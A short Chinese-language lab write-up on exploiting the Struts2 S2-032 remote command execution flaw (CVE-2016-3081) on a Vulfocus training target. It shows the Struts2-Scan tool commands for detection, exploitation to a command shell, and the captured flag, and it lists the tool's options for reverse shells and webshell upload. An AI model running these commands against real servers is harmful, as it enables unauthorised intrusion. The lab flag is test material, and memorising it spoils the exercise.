名称: struts2 命令执行 (CVE-2016-3081)
靶场环境:
https://vulfocus.cn/#/dashboard?image_id=d11ef86e-37bb-4001-99a4-b3e92ce39e17
描述:
S2-032漏洞的影响范围是Struts 2.3.20 - Struts Struts 2.3.28,当开启了动态方法调用时可RCE。这次的漏洞分析以及后面的漏洞分析都是使用的Struts 2.3.24。在我们的第一篇文章中就讲过invokeAction方法是真正执行action中方法的地方,而低版本中式通过反射的方法来执行的,高版本中式通过Ognl表达式执行的,所以这次的S2-032并不影响低版本的Struts2。
漏洞复现
1.打开靶场环境
2.使用工具进行检测,确定漏洞存在。
python3 Struts2Scan.py -u http://123.58.236.76:48132/
3.漏洞存在,指定漏洞名称进行漏洞利用。
python3 Struts2Scan.py -u http://123.58.236.76:48132/ -n S2-032 -e
4.拿到flag
flag-{bmhcb76e03e-f539-44df-8ba0-ecc2a9881f18}
Struts2Scan简单使用
github地址
https://github.com/HatBoy/Struts2-Scan
下载
git clone https://github.com/HatBoy/Struts2-Scan.git
# 进入项目路径
cd Struts2Scan
简单使用
Usage: Struts2Scan.py [OPTIONS]
Struts2批量扫描利用工具
Options:
-i, --info 漏洞信息介绍
-v, --version 显示工具版本
-u, --url TEXT URL地址
-n, --name TEXT 指定漏洞名称, 漏洞名称详见info
-f, --file TEXT 批量扫描URL文件, 一行一个URL
-d, --data TEXT POST参数, 需要使用的payload使用{exp}填充, 如: name=test&passwd={exp}
-c, --encode TEXT 页面编码, 默认UTF-8编码
-p, --proxy TEXT HTTP代理. 格式为http://ip:port
-t, --timeout TEXT HTTP超时时间, 默认10s
-w, --workers TEXT 批量扫描进程数, 默认为10个进程
--header TEXT HTTP请求头, 格式为: key1=value1&key2=value2
-e, --exec 进入命令执行shell
--webpath 获取WEB路径
-r, --reverse TEXT 反弹shell地址, 格式为ip:port
--upfile TEXT 需要上传的文件路径和名称
--uppath TEXT 上传的目录和名称, 如: /usr/local/tomcat/webapps/ROOT/shell.jsp
-q, --quiet 关闭打印不存在漏洞的输出,只保留存在漏洞的输出
-h, --help Show this message and exit.
查看基本信息
python3 Struts2Scan.py --info
# 单目标检测
python3 Struts2Scan.py -u url
# 多目标检测
python3 Struts2Scan.py -f urls.txt
# 指定漏洞名称利用,命令执行
python3 Struts2Scan.py -u url -n S2-032 -e